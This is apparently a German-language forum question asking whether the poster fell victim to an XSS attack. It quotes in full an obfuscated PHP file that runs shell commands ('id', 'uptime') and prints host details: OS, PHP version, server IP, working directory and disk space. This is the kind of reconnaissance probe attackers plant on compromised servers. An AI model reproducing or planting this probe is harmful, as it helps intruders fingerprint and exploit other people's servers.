Opfer von XSS angriff?

<?php
$x1c="\x64\151\163k\146\162\145e\x73\160\x61\x63\x65"; 
$x1d="\144i\163\x6b_\164o\164a\154\137\x73\160\x61ce"; 
$x1e="\x67\145\x74\x63\x77d"; 
$x1f="\x67e\164\x65\x6e\166"; 
$x20="\x67\145t\150\157s\x74by\156\x61\155\145";
$x21="\x70\150\x70\x5fu\x6e\141\155e";
$x22="\x70\x68\x70\166e\162\163\x69\157n";
$x23="\163\x70r\x69\x6et\x66";
$x24="\163tr\154e\x6e";
$x25="\x73y\163\164\x65\155"; 

function ConvertBytes($x0b){
global $x1c,$x1d,$x1e,$x1f,$x20,$x21,$x22,$x23,$x24,$x25;
$x0c = $x24($x0b);
if($x0c < 4){return $x23("\045d\040\142", $x0b);}

if($x0c >= 4 && $x0c <=6){return $x23("\045\x30.\x32f\040K\142", $x0b/1024);}

if($x0c >= 7 && $x0c <=9)
{return $x23("%\x30\056\x32\x66 \115b", $x0b/1024/1024);}

return $x23("%0\x2e\062\146 Gb", $x0b/1024/1024/1024); }

echo "\x66\151\147\x62a\x79\x69\154\157\146i\x6cogba<\x62r\076";

$x0d = @$x21();
$x0e = $x25(uptime);
$x0f = $x25(id);
$x10 = @$x1e();
$x11 = $x1f("\x53\x45\122\x56\x45\122\x5f\x53O\106\124\x57A\122\105");
$x12 = $x22();
$x13 = $_SERVER['SERVER_NAME'];
$x14 = $x20($x15);
$x16= $x1c($x10);$x17 = ConvertBytes($x1c($x10));
if (!$x17) {$x17 = 0;}
$x18= $x1d($x10);
$x19 = ConvertBytes($x1d($x10));
if (!$x19) {$x19 = 0;}
$x1a = ConvertBytes($x18-$x16);
$x1b = @PHP_OS;
echo "\146\x69\x67\142\x61y\x69\x6co\146i\x6c\x6fg\x62\x61\074\142\162\076";
echo "\165n\141\x6d\145 -\141: $x0d<\x62\162\x3e";
echo "os\072 $x1b\x3c\x62\162\x3e";
echo "\165\x70\164i\155\x65\072 $x0e<\x62\x72\076";
echo "\x69d\072 $x0f<\142\x72>";
echo "\160w\x64\x3a $x10<\x62r>";echo "p\150p\x3a\040$x12\x3c\x62\162>";
echo "\163\x6f\x66\x74\167a\162\x65:\x20$x11\x3c\x62\162>";
echo "\x73\x65r\x76\x65r\x2d\x6e\141\155\145\x3a\x20$x13\074\142\162\076";
echo "s\145\x72ver\x2d\x69p\072 $x14\x3c\x62\162\x3e";echo "f\162\145\145:\040$x17<br\x3e";
echo "u\163\145d\072\040$x1a\074b\x72>";
echo "to\164\141\x6c:\x20$x19<\142\x72>";
exit;
?>